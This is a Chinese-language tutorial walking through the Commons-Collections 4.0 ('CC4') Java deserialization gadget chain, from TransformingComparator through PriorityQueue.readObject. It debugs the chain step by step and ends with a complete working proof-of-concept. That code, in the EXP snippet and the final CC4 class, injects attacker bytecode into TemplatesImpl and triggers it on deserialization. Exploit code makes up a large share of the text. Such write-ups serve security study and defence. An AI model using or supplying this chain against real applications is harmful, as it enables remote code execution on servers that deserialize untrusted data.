这条链子的包使用的是Commons-Collections4.0

maven引用

  1. <dependency>
  2. <groupId>org.apache.commons</groupId>
  3. <artifactId>commons-collections4</artifactId>
  4. <version>4.0</version>
  5. </dependency>

链子总体分析

CC4不使用InvokerTransformer类,然后因为命令执行还是需要调用transform(),这边需要再找调用了transform()的类,这里CC4的作者使用的是TransformingComparator类。里面有compare方法调用了transform方法。

🍚CC4反序列化分析 - 图1

然后找调用了compare方法的地方,Find Usages找到在java.util.PriorityQueue下存在一个siftDownUsingComparator方法,里面调用了compare()

🍚CC4反序列化分析 - 图2

然后继续找,在同一个类中的siftDown方法调用了siftDownUsingComparator()

🍚CC4反序列化分析 - 图3

继续向上找,一个heapify方法调用了siftDown()

🍚CC4反序列化分析 - 图4

而在这个类本身的readObject()中,最后的位置调用了一次heapify()

🍚CC4反序列化分析 - 图5

利用链结合

这里最终利用依旧是通过通过反射去修改值,动态加载字节码实现命令执行。可参考CC3的动态加载字节码命令执行。

这里先贴出后半部分执行命令的EXP

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections4.functors.ChainedTransformer;
  5. import org.apache.commons.collections4.functors.InstantiateTransformer;
  6. import javax.xml.transform.Templates;
  7. import java.lang.reflect.Field;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public static void main(String[] args) throws Exception{
  11. TemplatesImpl templates = new TemplatesImpl();
  12. Class templatesClass = templates.getClass();
  13. Field nameField = templatesClass.getDeclaredField("_name");
  14. nameField.setAccessible(true);
  15. nameField.set(templates,"Drunkbaby");
  16. Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
  17. bytecodesField.setAccessible(true);
  18. byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
  19. byte[][] codes = {evil};
  20. bytecodesField.set(templates,codes);
  21. Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
  22. tfactoryField.setAccessible(true);
  23. tfactoryField.set(templates, new TransformerFactoryImpl());
  24. // templates.newTransformer();
  25. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  26. instantiateTransformer.transform(TrAXFilter.class);
  27. }
  28. }

这里需要CC4与CC3不同的地方在于前半部分调用transform()的链子。在CC3中,可以沿用CC1和CC6的前半部分,这里CC4沿用了CC3的后半部分。

🍚CC4反序列化分析 - 图6

这里主要是想要调用chainedTranformertransform方法

然后看TransformingComparator的构造方法,发现是可以直接传入transformer的,所以这里直接实例化一个对象,传入chainedTranformer

🍚CC4反序列化分析 - 图7

然后PriorityQueue的构造方法同上,也是可以直接赋值的。

🍚CC4反序列化分析 - 图8

上面两步连接起来。

  1. ransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
  2. PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

逻辑上是到这里。然后看看序列化和反序列化成不成功。

结果是没有成功执行,下面断点调试查看下到哪里断了。

到这里发现是直接跳出了循环,没有执行到siftDown()

🍚CC4反序列化分析 - 图9

关于>>>移位运算符,需要了解下原码补码和反码,移位是在这个基础上进行移位的。直观一点可以直接使用IDEA中的Evaluate

🍚CC4反序列化分析 - 图10

具体解释:

此时的size=0,那么(size>>>1)就是0,在那边已经计算出来的,这个时候真正的for循环应该是

  1. for (int i = -1; i >= 0; i--)
  2. siftDown(i, (E) queue[i]);
  3. }

循环都进不去,如果是size=1呢,还是一样。

🍚CC4反序列化分析 - 图11

只有当size>=2时,才可以进入循环

🍚CC4反序列化分析 - 图12

这个时候的for循环就是

  1. for (int i = 0; i >= 0; i--)
  2. siftDown(i, (E) queue[i]);
  3. }

就能进入循环,add参数需要在POC中添加

  1. priorityQueue.add(1);
  2. priorityQueue.add(2);

已经可以成功了

🍚CC4反序列化分析 - 图13

问题解决

但是有一个问题,就是在Debug的时候直接执行了命令,并且报错。

在CC6中存在一个类似的问题,这里是在执行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform()。画了个图,可以自行跟踪查看

🍚CC4反序列化分析 - 图14

解决办法就是chainedTransformer的值先不传给transformingComparator,等走过add()在使用反射进行赋值。

  1. Class c = transformingComparator.getClass();
  2. Field transformingField = c.getDeclaredField("transformer");
  3. transformingField.setAccessible(true);
  4. transformingField.set(transformingComparator, chainedTransformer);

执行成功,调式也没问题

🍚CC4反序列化分析 - 图15

完整POC

  1. package com.common.cc;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections4.Transformer;
  6. import org.apache.commons.collections4.comparators.TransformingComparator;
  7. import org.apache.commons.collections4.functors.ChainedTransformer;
  8. import org.apache.commons.collections4.functors.ConstantTransformer;
  9. import org.apache.commons.collections4.functors.InstantiateTransformer;
  10. import javax.xml.transform.Templates;
  11. import java.io.*;
  12. import java.lang.reflect.Field;
  13. import java.nio.file.Files;
  14. import java.nio.file.Paths;
  15. import java.util.PriorityQueue;
  16. public class CC4 {
  17. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  18. TemplatesImpl templates = new TemplatesImpl();
  19. Class cc3 = templates.getClass();
  20. Field nameField = cc3.getDeclaredField("_name");
  21. nameField.setAccessible(true);
  22. nameField.set(templates, "sfabc");
  23. Field bytecodesField = cc3.getDeclaredField("_bytecodes");
  24. bytecodesField.setAccessible(true);
  25. byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  26. byte[][] codes = {code};
  27. bytecodesField.set(templates, codes);
  28. Field tfactoryField = cc3.getDeclaredField("_tfactory");
  29. tfactoryField.setAccessible(true);
  30. tfactoryField.set(templates, new TransformerFactoryImpl());
  31. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  32. Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
  33. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  34. //instantiateTransformer.transform(TrAXFilter.class);
  35. //chainedTransformer.transform(1);
  36. TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
  37. PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
  38. priorityQueue.add(1);
  39. priorityQueue.add(2);
  40. Class c = transformingComparator.getClass();
  41. Field transformingField = c.getDeclaredField("transformer");
  42. transformingField.setAccessible(true);
  43. transformingField.set(transformingComparator, chainedTransformer);
  44. // serialize(priorityQueue);
  45. unserialize("ser.bin");
  46. }
  47. public static void serialize(Object obj) throws IOException {
  48. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  49. oos.writeObject(obj);
  50. }
  51. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  52. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  53. Object obj = ois.readObject();
  54. return obj;
  55. }
  56. }